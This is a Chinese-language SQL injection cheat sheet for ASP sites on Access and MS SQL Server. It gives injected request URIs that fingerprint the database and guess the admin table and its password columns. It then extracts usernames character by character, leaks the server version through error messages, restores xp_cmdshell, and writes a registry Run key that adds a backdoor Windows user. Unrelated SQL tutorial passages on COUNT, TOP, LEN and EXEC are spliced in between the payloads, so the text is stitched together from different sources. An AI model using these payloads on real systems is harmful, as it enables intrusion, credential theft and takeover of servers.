检测诸如点:
Request URI: /***.asp?id=16' and char(124)+user+char(124)=0 and ''='
Request URI: /***.asp?id=16 and 1=1
检测的URL:
Request URI: /***..asp?id=234' and char(124)+user+char(124)=0 and ''='
Request URI: /***..asp?id=234 and char(124)+user+char(124)=0
Request URI: /***..asp?id=234' and char(124)+user+char(124)=0 and '%'='
Request URI: /***..asp?id=234 and 1=1
Request URI: /***..asp?id=234 and 1=2
检测的数据库类型:
Request URI: /***..asp?id=234 and exists (select * from sysobjects)
检测表段:
Request URI: /***..asp?id=234 and exists (select * from [dirs])
Request URI: /***..asp?id=234 and exists (select * from [admin])
Request URI: /***..asp?id=234 and exists (select * from [\273\341\324\261])
检测字段:
Request URI: /***.asp?id=234 and exists (select [paths] from [admin])
Request URI: /***.asp?id=234 and exists (select [pwd] from [admin])
Request URI: /***.asp?id=234 and exists (select [\274\266\261\360] from [admin])
Request URI: /***.asp?id=234 and exists (select [\303\334\302\353\264\360\260\270] from [admin])
Request URI: /***.asp?id=234 and exists (select [username] from [admin])
检测内容:
先检测表有几行
Request URI: /***.asp?id=234 and (select Count(1) from [admin] where 1=1) between 0 and 99999999
Request URI: /***.asp?id=234 and (select Count(1) from [admin] where 1=1) between 0 and 16
Request URI: /***.asp?id=234 and (select Count(1) from [admin] where 1=1) between 0 and 8
Request URI: /***.asp?id=234 and (select Count(1) from [admin] where 1=1) between 0 and 4
Request URI: /***.asp?id=234 and (select Count(1) from [admin] where 1=1) between 0 and 2
Request URI: /***.asp?id=234 and (select Count(1) from [admin] where 1=1) between 0 and 0
COUNT() 函数返回匹配指定条件的行数。
COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入):
SELECT COUNT(column_name) FROM table_name
COUNT(*) 函数返回表中的记录数:
SELECT COUNT(*) FROM table_name
COUNT(DISTINCT column_name) 函数返回指定列的不同值的数目:
SELECT COUNT(DISTINCT column_name) FROM table_name
注释:COUNT(DISTINCT) 适用于 ORACLE 和 Microsoft SQL Server,但是无法用于 Microsoft Access。
我们拥有下列 "Orders" 表:
O_Id | OrderDate | OrderPrice | Customer |
---|---|---|---|
1 | 2008/12/29 | 1000 | Bush |
2 | 2008/11/23 | 1600 | Carter |
3 | 2008/10/05 | 700 | Bush |
4 | 2008/09/28 | 300 | Bush |
5 | 2008/08/06 | 2000 | Adams |
6 | 2008/07/21 | 100 | Carter |
现在,我们希望计算客户 "Carter" 的订单数。
我们使用如下 SQL 语句:
SELECT COUNT(Customer) AS CustomerNilsen FROM Orders WHERE Customer='Carter'
以上 SQL 语句的结果是 2,因为客户 Carter 共有 2 个订单:
CustomerNilsen |
---|
2 |
如果我们省略 WHERE 子句,比如这样:
SELECT COUNT(*) AS NumberOfOrders FROM Orders
结果集类似这样:
NumberOfOrders |
---|
6 |
这是表中的总行数。
现在,我们希望计算 "Orders" 表中不同客户的数目。
我们使用如下 SQL 语句:
SELECT COUNT(DISTINCT Customer) AS NumberOfCustomers FROM Orders
结果集类似这样:
NumberOfCustomers |
---|
3 |
这是 "Orders" 表中不同客户(Bush, Carter 和 Adams)的数目。
检测值的长度:
Request URI: /***.asp?id=234 and (select top 1 len([username]) from (Select Top 1 [username] from [admin] where 1=1 order by [username]) T Order by [username] desc) between 0 and 4
Request URI: /***.asp?id=234 and (select top 1 len([username]) from (Select Top 1 [username] from [admin] where 1=1 order by [username]) T Order by [username] desc) between 6 and 8
Request URI: /***.asp?id=234 and (select top 1 len([username]) from (Select Top 1 [username] from [admin] where 1=1 order by [username]) T Order by [username] desc) between 4 and 5
检测值的内容:
Request URI: /***.asp?id=234 and (select top 1 asc(mid(cstr(username),4,1)) from (Select Top 2 [username] from [admin] where 1=1 order by [username]) T Order by [username] desc) between 105 and 111
Request URI: /***.asp?id=234 and (select top 1 asc(mid(cstr(username),4,1)) from (Select Top 2 [username] from [admin] where 1=1 order by [username]) T Order by [username] desc) between 116 and 116
TOP 子句用于规定要返回的记录的数目。
对于拥有数千条记录的大型表来说,TOP 子句是非常有用的。
注释:并非所有的数据库系统都支持 TOP 子句。
SELECT TOP number|percent column_name(s) FROM table_name
SELECT column_name(s) FROM table_name LIMIT number
SELECT * FROM Persons LIMIT 5
SELECT column_name(s) FROM table_name WHERE ROWNUM <= number
SELECT * FROM Persons WHERE ROWNUM <= 5
Persons 表:
Id | LastName | FirstName | Address | City |
---|---|---|---|---|
1 | Adams | John | Oxford Street | London |
2 | Bush | George | Fifth Avenue | New York |
3 | Carter | Thomas | Changan Street | Beijing |
4 | Obama | Barack | Pennsylvania Avenue | Washington |
现在,我们希望从上面的 "Persons" 表中选取头两条记录。
我们可以使用下面的 SELECT 语句:
SELECT TOP 2
* FROM Persons
Id | LastName | FirstName | Address | City |
---|---|---|---|---|
1 | Adams | John | Oxford Street | London |
2 | Bush | George | Fifth Avenue | New York |
现在,我们希望从上面的 "Persons" 表中选取 50% 的记录。
我们可以使用下面的 SELECT 语句:
SELECT TOP 50 PERCENT
* FROM Persons
结果:
Id | LastName | FirstName | Address | City |
---|---|---|---|---|
1 | Adams | John | Oxford Street | London |
2 | Bush | George | Fifth Avenue | New York |
LEN 函数返回文本字段中值的长度。
SELECT LEN(column_name) FROM table_name
我们拥有下面这个 "Persons" 表:
Id | LastName | FirstName | Address | City |
---|---|---|---|---|
1 | Adams | John | Oxford Street | London |
2 | Bush | George | Fifth Avenue | New York |
3 | Carter | Thomas | Changan Street | Beijing |
现在,我们希望取得 "City" 列中值的长度。
我们使用如下 SQL 语句:
SELECT LEN(City) as LengthOfCity FROM Persons
结果集类似这样:
LengthOfCity |
---|
6 |
8 |
7 |
显示SQL系统版本:
and 1=(select @@VERSION)
and 1=convert(int,@@version)--
服务器: 消息 245,级别 16,状态 1,行 1
将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
May 3 2005 23:18:38
Copyright (c) 1988-2003 Microsoft Corporation
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
' 转换为数据类型为 int 的列时发生语法错误。
判断xp_cmdshell扩展存储过程是否存在:
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
恢复xp_cmdshell扩展存储的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--
1、EXEC命令的括号中只允许包含一个字符串变量,或者一个 字符串文本,或者字符串变量与字符串文本的串联。不能再括号中使用函数或CASE表达式,如下面尝试在括号中调用QUOTENAME函数以引用对象名称,运行将失败:
1: DECLARE @schemaname NVARCHAR(255),@tablename NVARCHAR(128)
2: SET @schemaname='dbo'
3: SET @tablename='Order Details'
4:
5: EXEC (N'SELECT COUNT(*) FROM '+QUOTENAME(@schemaname)+N'.'+QUOTENAME(@tablename)+N';')
上述代码将会产生如下错误:
消息 102,级别 15,状态 1,第 5 行
'QUOTENAME' 附近有语法错误。
SQL Server 分析和编译时间:
CPU 时间 = 0 毫秒,占用时间 = 0 毫秒。
SQL Server 执行时间:
CPU 时间 = 0 毫秒,占用时间 = 0 毫秒。
所以做好的方法是把代码构造到一个变量中,这样就不会受限制了,然后再把该变量作为EXEC命令的输入参数,就像这样:
1: DECLARE @schemaname NVARCHAR(255) ,
2: @tablename NVARCHAR(128) ,
3: @sql NVARCHAR(MAX)
4: SET @schemaname = 'dbo'
5: SET @tablename = 'Order Details'
6: SET @sql = N'SELECT COUNT(*) FROM ' + QUOTENAME(@schemaname) + N'.'
7: + QUOTENAME(@tablename) + N';'
8: EXEC (@sql)
2、EXEC不提供接口。EXEC(<string>)不提供接口。它唯一的输入就是包含你要调用代码的字符串。动态批处理不能访问在调用批处理中定义的局部变量。如下面代码尝试访问定义在调用批处理中的变量将失败。
1: DECLARE @i INT
2: SET @i = 10248
3:
4: DECLARE @sql NVARCHAR(MAX)
5:
6: SET @sql = 'SELECT * FROM dbo.Orders WHERE OrderID=@i;'
7: EXEC(@sql)
将产生如下错误:
消息 137,级别 15,状态 2,第 1 行
必须声明标量变量 "@i"。
使用EXEC时,如果想访问变量,必须把变量内容串联到动态构建的 代码字符串中。
DECLARE @i INT SET @i = 10248 DECLARE @sql NVARCHAR(MAX) SET @sql = 'SELECT * FROM dbo.Orders WHERE OrderID=' + CAST(@i AS NVARCHAR(10)) + ';' EXEC(@sql)
这样就没有问题了。
如果一个变量包含字符串,把该变量的内容串联到代码将会导致安全风险(SQL注入),为了避免SQL注入,可以吧字符串大小限制为所需的最小长度。当然,实际中这种情况根本不需要动态SQL直接执行SQL语句就可以,这个示例只是为了演示。
串联变量的内容存在性能方面的弊端,SQL Server将为每个唯一的查询字符串创建新的即席执行计划,即使查询模式相同也是这样的。为演示这一点,先清空缓存中的执行计划。
DBCC FREEPROCCACHE
1: SELECT cacheobjtype ,
2: objtype ,
3: usecounts ,
4: sql
5: FROM sys.syscacheobjects
6: WHERE sql NOT LIKE '%cache%'
7: AND sql NOT LIKE '%sys.%'
得到查询结果:
cacheobjtype objtype usecounts sql
Compiled Plan Adhoc 1 SELECT * FROM dbo.Orders WHERE OrderID=10250;
Compiled Plan Adhoc 1 SELECT * FROM dbo.Orders WHERE OrderID=10248;
Compiled Plan Prepared 3 (@1 smallint)SELECT * FROM [dbo].[Orders] WHERE [OrderID]=@1
Compiled Plan Adhoc 4 SET STATISTICS IO ON SET STATISTICS TIME ON
Compiled Plan Adhoc 1 SELECT * FROM dbo.Orders WHERE OrderID=10249;
Compiled Plan Adhoc 4 SET STATISTICS IO OFF SET STATISTICS TIME OFF
EXEC除了不支持动态批处理中的输入参数外,也不支持输出参数。默认情况下,EXEC把查询输出返回给调用者。如果你想把输出结果返回给调用批处理中的变量,事情就没那么简单了,为此,你需要使用INSERT EXEC把输出插入到一个目的表,然后再从该表中取值,赋给该变量,就像这样:
1: DECLARE @schemaname NVARCHAR(128) ,
2: @tablename NVARCHAR(128) ,
3: @colname NVARCHAR(128) ,
4: @sql NVARCHAR(MAX) ,
5: @cnt INT
6:
7: SET @schemaname = 'dbo'
8: SET @tablename = 'Orders'
9: SET @colname = 'CustomerID'
10:
11: SET @sql = N'SELECT COUNT(DISTINCT ' + QUOTENAME(@colname) + ') FROM '
12: + QUOTENAME(@schemaname) + N'.' + QUOTENAME(@tablename) + N';'
13:
14: CREATE TABLE #T1 ( cnt INT )
15: INSERT INTO #T1
16: EXEC ( @sql
17: )
18: SELECT @cnt = cnt
19: FROM #T1
20: SELECT @cnt
21: DROP TABLE #T1
3、在SQL Server2000中串联变量值时,EXEC比sp_executesql多一个优势,它支持更长的代码,尽管技术上sp_executesql的输入代码字符串是NTEXT类型的,但你一般是在局部变量中构造代码字符串。而你又不能用大型对象类型声明局部变量,所以,实际上在sp_executesql中执行的查询字符串被限制为Unicode字符串(NVARCHAR)支持的最大长度4000,而EXEC支持常规字符串(VARCHAR)允许最大8000个字符。另外EXEC还支持一个特殊的功能,它允许你在括号中串联多个变量,每个变量都支持8000个字符的长度。
在SQL Server2005中,就不用这么纠结了,因为可以为EXEC命令提供一个VARCHAR(MAX)或NVARCHAR(MAX)的变量作为输入,输入字符串可以达到2GB大小
5、 向启动组中写入命令行和执行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'
6、 查看当前的数据库名称:
? http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨库了
? http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp,行17
7、 列出当前所有的数据库名称:
select * from master.dbo.sysdatabases 列出所有列的记录
select name from master.dbo.sysdatabases 仅列出name列的记录